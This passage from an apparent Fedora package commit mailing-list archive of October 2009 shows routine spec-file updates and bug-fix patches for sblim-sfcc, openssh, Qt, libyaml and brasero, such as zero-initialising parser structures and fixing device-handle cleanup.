+Release: 1%{?dist}
 Group: Applications/System
 License: EPL
 URL: http://www.sblim.org
 Source0: ftp://dl.sourceforge.net/pub/s/sb/sblim/%{name}-%{version}.tar.bz2
+Patch0: sblim-sfcc-2.1.0-initialization.patch
 BuildRequires: curl-devel
 
 %Description
@@ -32,6 +33,7 @@ Small Footprint CIM Client Library Heade
 %prep
 
 %setup -q
+%patch0 -p1
 
 %build
 chmod a-x backend/cimxml/*.[ch]
@@ -67,7 +69,8 @@ rm -rf %{buildroot}
 %{_docdir}/*
 
 %changelog
-
+* Fri Oct  2 2009  Praveen K Paladugu <praveen_paladugu at dell.com> - 2.1.0-1
+- Added a patch to prevent crash because of uninitialized structrues.
 * Tue Aug 19 2008  <srinivas_ramanatha at dell.com> - 2.1.0-0%{?dist}
 -Modified the spec file to adhere to fedora packaging guidelines.
 



From praveenp at fedoraproject.org  Fri Oct  2 13:47:19 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Fri,  2 Oct 2009 13:47:19 +0000 (UTC)
Subject: rpms/sblim-sfcc/F-11 sblim-sfcc-2.1.0-initialization.patch, NONE,
	1.1 sblim-sfcc.spec, 1.2, 1.3
Message-ID: <20091002134719.6844011C00C1@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/sblim-sfcc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8747

Modified Files:
	sblim-sfcc.spec 
Added Files:
	sblim-sfcc-2.1.0-initialization.patch 
Log Message:
Added a patch to prevent crash because of uninitialized structures


sblim-sfcc-2.1.0-initialization.patch:
 grammar.c |  110 +++++++++++++++++++++++++++++++-------------------------------
 1 file changed, 55 insertions(+), 55 deletions(-)

--- NEW FILE sblim-sfcc-2.1.0-initialization.patch ---
diff -Naur sblim-sfcc-2.1.0/backend/cimxml/grammar.c sblim-sfcc-2.1.0_fix/backend/cimxml/grammar.c
--- sblim-sfcc-2.1.0/backend/cimxml/grammar.c	2008-01-21 15:45:41.000000000 +0530
+++ sblim-sfcc-2.1.0_fix/backend/cimxml/grammar.c	2009-03-09 17:15:31.000000000 +0530
@@ -56,7 +56,7 @@
 
 static void start(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_XML) {
 		ct = localLex(stateUnion, parm);
@@ -74,7 +74,7 @@
 
 static void cim(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_CIM) {
 		message(parm, (parseUnion*)&stateUnion->xtokMessage);
@@ -92,7 +92,7 @@
 
 static void message(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex((parseUnion*)&stateUnion->xtokMessage, parm);
 	if(ct == XTOK_MESSAGE) {
 		messageContent(parm, stateUnion);
@@ -110,7 +110,7 @@
 
 static void messageContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_SIMPLERSP) {
 		simpleRspContent(parm, (parseUnion*)&stateUnion->xtokSimpleRespContent);
@@ -137,7 +137,7 @@
 
 static void simpleRspContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokSimpleRespContent, parm);
 	if(ct == XTOK_METHODRESP) {
 		methodRespContent(parm, (parseUnion*)&stateUnion->xtokSimpleRespContent.resp);
@@ -165,7 +165,7 @@
 
 static void exportIndication(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_EXPORTINDICATION) {
 		exParamValue(parm, stateUnion);
@@ -183,7 +183,7 @@
 
 static void exParamValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	CMPIInstance *inst;
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_EP_INSTANCE) {
@@ -211,7 +211,7 @@
 
 static void methodRespContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(&lvalp, parm);
 	if(ct == XTOK_ERROR) {
 		dontLex = 1;
@@ -246,7 +246,7 @@
 
 static void iMethodRespContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(&lvalp, parm);
 	if(ct == XTOK_ERROR) {
 		dontLex = 1;
@@ -263,7 +263,7 @@
 
 static void error(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokErrorResp, parm);
 	if(ct == XTOK_ERROR) {
 		setError(parm, &stateUnion->xtokErrorResp);
@@ -281,7 +281,7 @@
 
 static void returnValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	CMPIType  t;
 	CMPIValue val;
 	CMPIInstance *inst;
@@ -321,7 +321,7 @@
 
 static void returnValueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokReturnValueData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -339,7 +339,7 @@
 
 static void paramValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParamValue, parm);
 	if(ct == XTOK_PARAMVALUE) {
 		ct = localLex(&lvalp, parm);
@@ -369,7 +369,7 @@
 
 static void paramValueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParamValueData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -400,7 +400,7 @@
 
 static void iReturnValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_IRETVALUE) {
 		iReturnValueContent(parm, stateUnion);
@@ -418,7 +418,7 @@
 
 static void iReturnValueContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	CMPIObjectPath *op;
 	CMPIInstance *inst;
 	CMPIConstClass *cls;
@@ -524,7 +524,7 @@
 
 static void getPropertyRetValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	CMPIType  t;
 	CMPIValue val;
 	ct = localLex((parseUnion*)&stateUnion->xtokGetPropRetContent, parm);
@@ -550,7 +550,7 @@
 
 static void valueObjectWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectWithPath, parm);
 	if(ct == XTOK_VALUEOBJECTWITHPATH) {
 		valueObjectWithPathData(parm, (parseUnion*)&stateUnion->xtokObjectWithPath.object);
@@ -569,7 +569,7 @@
 
 static void valueObjectWithPathData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	CMPIObjectPath *op;
 	CMPIInstance *inst;
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectWithPathData, parm);
@@ -597,7 +597,7 @@
 
 static void classWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassWithPath, parm);
 	if(ct == XTOK_CLASSPATH) {
 		dontLex = 1;
@@ -611,7 +611,7 @@
 
 static void instanceWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstanceWithPath, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		dontLex = 1;
@@ -625,7 +625,7 @@
 
 static void class(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClass, parm);
 	if(ct == XTOK_CLASS) {
 		ct = localLex(&lvalp, parm);
@@ -678,7 +678,7 @@
 
 static void method(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokMethod, parm);
 	if(ct == XTOK_METHOD) {
 		ct = localLex(&lvalp, parm);
@@ -718,7 +718,7 @@
 
 static void methodData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	if(ct == XTOK_PARAM) {
 		dontLex = 1;
 		if(ct == XTOK_PARAM) {
@@ -754,7 +754,7 @@
 
 static void parameter(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAM) {
 		ct = localLex(&lvalp, parm);
@@ -782,7 +782,7 @@
 
 static void parameterReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMREF) {
 		ct = localLex(&lvalp, parm);
@@ -810,7 +810,7 @@
 
 static void parameterRefArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMREFARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -838,7 +838,7 @@
 
 static void parameterArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -866,7 +866,7 @@
 
 static void objectPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectPath, parm);
 	if(ct == XTOK_OBJECTPATH) {
 		instancePath(parm, (parseUnion*)&stateUnion->xtokObjectPath.path);
@@ -884,7 +884,7 @@
 
 static void classPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassPath, parm);
 	if(ct == XTOK_CLASSPATH) {
 		nameSpacePath(parm, (parseUnion*)&stateUnion->xtokClassPath.name);
@@ -903,7 +903,7 @@
 
 static void className(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassName, parm);
 	if(ct == XTOK_CLASSNAME) {
 		ct = localLex((parseUnion*)&stateUnion->xtokClassName, parm);
@@ -920,7 +920,7 @@
 
 static void instancePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstancePath, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		nameSpacePath(parm, (parseUnion*)&stateUnion->xtokInstancePath.path);
@@ -939,7 +939,7 @@
 
 static void localInstancePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokLocalInstancePath, parm);
 	if(ct == XTOK_LOCALINSTANCEPATH) {
 		localNameSpacePath(parm, (parseUnion*)&stateUnion->xtokLocalInstancePath.path);
@@ -958,7 +958,7 @@
 
 static void nameSpacePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNameSpacePath, parm);
 	if(ct == XTOK_NAMESPACEPATH) {
 		host(parm, (parseUnion*)&stateUnion->xtokNameSpacePath.host);
@@ -977,7 +977,7 @@
 
 static void host(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokHost, parm);
 	if(ct == XTOK_HOST) {
 		ct = localLex((parseUnion*)&stateUnion->xtokHost, parm);
@@ -994,7 +994,7 @@
 
 static void localNameSpacePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokLocalNameSpacePath, parm);
 	if(ct == XTOK_LOCALNAMESPACEPATH) {
 		ct = localLex(&lvalp, parm);
@@ -1031,7 +1031,7 @@
 
 static void nameSpace(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNameSpace, parm);
 	if(ct == XTOK_NAMESPACE) {
 		ct = localLex((parseUnion*)&stateUnion->xtokNameSpace, parm);
@@ -1048,7 +1048,7 @@
 
 static void valueNamedInstance(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNamedInstance, parm);
 	if(ct == XTOK_VALUENAMEDINSTANCE) {
 		instanceName(parm, (parseUnion*)&stateUnion->xtokNamedInstance.path);
@@ -1067,7 +1067,7 @@
 
 static void instance(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstance, parm);
 	if(ct == XTOK_INSTANCE) {
 		ct = localLex(&lvalp, parm);
@@ -1108,7 +1108,7 @@
 
 static void genProperty(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokProperty, parm);
 	if(ct == XTOK_PROPERTY) {
 		dontLex = 1;
@@ -1132,7 +1132,7 @@
 
 static void qualifier(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokQualifier, parm);
 	if(ct == XTOK_QUALIFIER) {
 		ct = localLex(&lvalp, parm);
@@ -1159,7 +1159,7 @@
 
 static void qualifierData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokQualifierData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -1178,7 +1178,7 @@
 
 static void property(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTY) {
 		ct = localLex(&lvalp, parm);
@@ -1214,7 +1214,7 @@
 
 static void propertyArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTYARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1250,7 +1250,7 @@
 
 static void propertyReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTYREFERENCE) {
 		ct = localLex(&lvalp, parm);
@@ -1286,7 +1286,7 @@
 
 static void instanceName(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstanceName, parm);
 	if(ct == XTOK_INSTANCENAME) {
 		ct = localLex(&lvalp, parm);
@@ -1315,7 +1315,7 @@
 
 static void keyBinding(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyBinding, parm);
 	if(ct == XTOK_KEYBINDING) {
 		keyBindingContent(parm, (parseUnion*)&stateUnion->xtokKeyBinding.val);
@@ -1334,7 +1334,7 @@
 
 static void keyBindingContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyBindingContent, parm);
 	if(ct == XTOK_KEYVALUE) {
 		dontLex = 1;
@@ -1353,7 +1353,7 @@
 
 static void keyValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyValue, parm);
 	if(ct == XTOK_KEYVALUE) {
 		ct = localLex((parseUnion*)&stateUnion->xtokKeyValue, parm);
@@ -1370,7 +1370,7 @@
 
 static void value(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValue, parm);
 	if(ct == XTOK_VALUE) {
 		valueData(parm, (parseUnion*)&stateUnion->xtokValue.data);
@@ -1389,7 +1389,7 @@
 
 static void valueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueData, parm);
 	if(ct == ZTOK_VALUE) {
 		stateUnion->xtokValueData.type=typeValue_charP;
@@ -1413,7 +1413,7 @@
 
 static void valueArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueArray, parm);
 	if(ct == XTOK_VALUEARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1446,7 +1446,7 @@
 
 static void valueRefArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueRefArray, parm);
 	if(ct == XTOK_VALUEREFARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1479,7 +1479,7 @@
 
 static void valueReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueReference, parm);
 	if(ct == XTOK_VALUEREFERENCE) {
 		valueReferenceData(parm, (parseUnion*)&stateUnion->xtokValueReference.data);
@@ -1498,7 +1498,7 @@
 
 static void valueReferenceData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueReferenceData, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		dontLex = 1;


Index: sblim-sfcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sblim-sfcc/F-11/sblim-sfcc.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sblim-sfcc.spec	25 Feb 2009 22:44:24 -0000	1.2
+++ sblim-sfcc.spec	2 Oct 2009 13:47:19 -0000	1.3
@@ -10,11 +10,12 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 Summary: Small Footprint CIM Client Library
 Name: sblim-sfcc
 Version: 2.1.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Applications/System
 License: EPL
 URL: http://www.sblim.org
 Source0: ftp://dl.sourceforge.net/pub/s/sb/sblim/%{name}-%{version}.tar.bz2
+Patch0:  sblim-sfcc-2.1.0-initialization.patch
 BuildRequires: curl-devel
 
 %Description
@@ -32,6 +33,7 @@ Small Footprint CIM Client Library Heade
 %prep
 
 %setup -q
+%patch0 -p1
 
 %build
 chmod a-x backend/cimxml/*.[ch]
@@ -67,6 +69,8 @@ rm -rf %{buildroot}
 %{_docdir}/*
 
 %changelog
+* Fri Oct  2 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.1.0-2
+- Added a patch to prevent crash because of uninitialized structrues.
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.0-1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From jfch2222 at fedoraproject.org  Fri Oct  2 13:50:30 2009
From: jfch2222 at fedoraproject.org (Jan F. Chadima)
Date: Fri,  2 Oct 2009 13:50:30 +0000 (UTC)
Subject: rpms/openssh/devel openssh-5.2p1-pathmax.patch,1.2,NONE
Message-ID: <20091002135030.DA87F11C043C@cvs1.fedora.phx.redhat.com>

Author: jfch2222

Update of /cvs/pkgs/rpms/openssh/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10146

Removed Files:
	openssh-5.2p1-pathmax.patch 
Log Message:
Upgrade to new wersion 5.3p1



--- openssh-5.2p1-pathmax.patch DELETED ---



From rdieter at fedoraproject.org  Fri Oct  2 13:52:01 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 13:52:01 +0000 (UTC)
Subject: rpms/qt/devel kde-qt-patches-20091002git.patch,1.1,1.2
Message-ID: <20091002135201.2107411C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10575

Modified Files:
	kde-qt-patches-20091002git.patch 
Log Message:
remove one already upstreamed part of the patch
(well, it was included in the upstream tarball at least)


kde-qt-patches-20091002git.patch:
 README.kde-qt                                |  164 ++++++++-------
 b/README.kde-qt                              |  189 +++++++++++++++++
 b/bin/syncqt                                 |    6 
 b/configure                                  |    9 
 b/projects.pro                               |    3 
 b/qmake/property.cpp                         |   30 +-
 b/src/corelib/global/qnamespace.h            |   97 ++++++++-
 b/src/corelib/kernel/qobject.cpp             |    8 
 b/src/corelib/kernel/qobject_p.h             |    3 
 b/src/dbus/qdbusinternalfilters.cpp          |   17 +
 b/src/gui/image/qnativeimage.cpp             |   10 
 b/src/gui/image/qnativeimage_p.h             |    1 
 b/src/gui/itemviews/qtreeview.cpp            |    3 
 b/src/gui/kernel/qapplication_x11.cpp        |    7 
 b/src/gui/kernel/qkeymapper_x11.cpp          |  286 ++++++++++++++++++++++-----
 b/src/gui/kernel/qkeysequence.cpp            |  175 ++++++++++++----
 b/src/gui/kernel/qwidget_p.h                 |    1 
 b/src/gui/kernel/qwidget_x11.cpp             |   28 +-
 b/src/gui/painting/qwindowsurface_raster.cpp |   14 -
 b/src/gui/widgets/qmenu.cpp                  |    3 
 b/src/gui/widgets/qtabbar.cpp                |    3 
 b/src/tools/moc/main.cpp                     |    7 
 src/corelib/kernel/qobject_p.h               |    6 
 src/gui/image/qnativeimage.cpp               |    3 
 src/gui/kernel/qkeysequence.cpp              |   21 -
 src/gui/kernel/qwidget_x11.cpp               |   22 +-
 26 files changed, 868 insertions(+), 248 deletions(-)

Index: kde-qt-patches-20091002git.patch
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/kde-qt-patches-20091002git.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kde-qt-patches-20091002git.patch	2 Oct 2009 13:39:46 -0000	1.1
+++ kde-qt-patches-20091002git.patch	2 Oct 2009 13:52:00 -0000	1.2
@@ -1155,29 +1155,6 @@ index 33aec9e..53f020b 100644
 -- 
 1.6.2.5
 
-From 4b5ae1db24fa1b96f00ef62bd2e1063a8a313e5c Mon Sep 17 00:00:00 2001
-From: Albert Astals Cid <aacid at kde.org>
-Date: Sat, 27 Jun 2009 14:19:23 +0200
-Subject: [PATCH 14/18] Fix #error line not to have a ' as it's not correct
-
----
- src/3rdparty/webkit/WebCore/DerivedSources.cpp |    2 +-
- 1 files changed, 1 insertions(+), 1 deletions(-)
-
-diff --git a/src/3rdparty/webkit/WebCore/DerivedSources.cpp b/src/3rdparty/webkit/WebCore/DerivedSources.cpp
-index f698913..aaf8983 100644
---- a/src/3rdparty/webkit/WebCore/DerivedSources.cpp
-+++ b/src/3rdparty/webkit/WebCore/DerivedSources.cpp
-@@ -334,5 +334,5 @@
- // want StaticConstructors.h to "pollute" all the source files we #include here
- // accidentally, so we'll throw an error whenever any file includes it.
- #ifdef StaticConstructors_h
--#error Don't include any file in DerivedSources.cpp that includes StaticConstructors.h
-+#error Do not include any file in DerivedSources.cpp that includes StaticConstructors.h
- #endif
--- 
-1.6.2.5
-
 From 01f26d0756839fbe783c637ca7dec5b7987f7e14 Mon Sep 17 00:00:00 2001
 From: Aaron Seigo <aseigo at kde.org>
 Date: Mon, 27 Jul 2009 21:46:22 -0600



From jeckersb at fedoraproject.org  Fri Oct  2 13:53:49 2009
From: jeckersb at fedoraproject.org (John Eckersberg)
Date: Fri,  2 Oct 2009 13:53:49 +0000 (UTC)
Subject: rpms/libyaml/devel .cvsignore, 1.2, 1.3 libyaml.spec, 1.4,
	1.5 sources, 1.2, 1.3
Message-ID: <20091002135349.8B7CB11C00C1@cvs1.fedora.phx.redhat.com>

Author: jeckersb

Update of /cvs/pkgs/rpms/libyaml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11256

Modified Files:
	.cvsignore libyaml.spec sources 
Log Message:
New upstream release 0.1.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libyaml/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	3 Mar 2009 00:37:51 -0000	1.2
+++ .cvsignore	2 Oct 2009 13:53:48 -0000	1.3
@@ -1 +1 @@
-yaml-0.1.2.tar.gz
+yaml-0.1.3.tar.gz


Index: libyaml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libyaml/devel/libyaml.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- libyaml.spec	25 Jul 2009 08:59:57 -0000	1.4
+++ libyaml.spec	2 Oct 2009 13:53:48 -0000	1.5
@@ -3,8 +3,8 @@
 #====================================================================#
 
 Name:       libyaml
-Version:    0.1.2
-Release:    5%{?dist}
+Version:    0.1.3
+Release:    1%{?dist}
 Summary:    YAML 1.1 parser and emitter written in C
 
 Group:      System Environment/Libraries
@@ -74,6 +74,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 02 2009 John Eckersberg <jeckersb at redhat.com> - 0.1.3-1
+- New upstream release 0.1.3
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libyaml/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	3 Mar 2009 00:37:51 -0000	1.2
+++ sources	2 Oct 2009 13:53:49 -0000	1.3
@@ -1 +1 @@
-f6c9b5c2b0f6919abd79f5fd059b01dc  yaml-0.1.2.tar.gz
+b8ab9064e8e0330423fe640de76608cd  yaml-0.1.3.tar.gz



From mclasen at fedoraproject.org  Fri Oct  2 13:56:34 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri,  2 Oct 2009 13:56:34 +0000 (UTC)
Subject: rpms/brasero/F-12 eject.patch,NONE,1.1 brasero.spec,1.64,1.65
Message-ID: <20091002135634.66EEF11C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/brasero/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12043

Modified Files:
	brasero.spec 
Added Files:
	eject.patch 
Log Message:
Fix inability to eject after burn


eject.patch:
 brasero-drive.c  |   20 +++++++++++------
 brasero-medium.c |   64 ++++++++++++++++++++++++++++++-------------------------
 2 files changed, 48 insertions(+), 36 deletions(-)

--- NEW FILE eject.patch ---
diff --git a/libbrasero-media/brasero-drive.c b/libbrasero-media/brasero-drive.c
index 08ab4e7..f3a7136 100644
--- a/libbrasero-media/brasero-drive.c
+++ b/libbrasero-media/brasero-drive.c
@@ -810,7 +810,7 @@ brasero_drive_probe_inside_thread (gpointer data)
 	const gchar *device;
 	BraseroScsiErrCode code;
 	BraseroDrivePrivate *priv;
-	BraseroDeviceHandle *handle;
+	BraseroDeviceHandle *handle = NULL;
 	BraseroDrive *drive = BRASERO_DRIVE (data);
 
 	priv = BRASERO_DRIVE_PRIVATE (drive);
@@ -833,13 +833,15 @@ brasero_drive_probe_inside_thread (gpointer data)
 		handle = brasero_device_handle_open (device, FALSE, &code);
 	}
 
-	if (priv->probe_cancelled) {
-		BRASERO_MEDIA_LOG ("Open () cancelled");
+	if (!handle) {
+		BRASERO_MEDIA_LOG ("Open () failed: medium busy");
 		goto end;
 	}
 
-	if (!handle) {
-		BRASERO_MEDIA_LOG ("Open () failed: medium busy");
+	if (priv->probe_cancelled) {
+		BRASERO_MEDIA_LOG ("Open () cancelled");
+
+		brasero_device_handle_close (handle);
 		goto end;
 	}
 
@@ -848,20 +850,24 @@ brasero_drive_probe_inside_thread (gpointer data)
 			BRASERO_MEDIA_LOG ("No medium inserted");
 
 			priv->has_medium = FALSE;
+
+			brasero_device_handle_close (handle);
 			goto end;
 		}
 
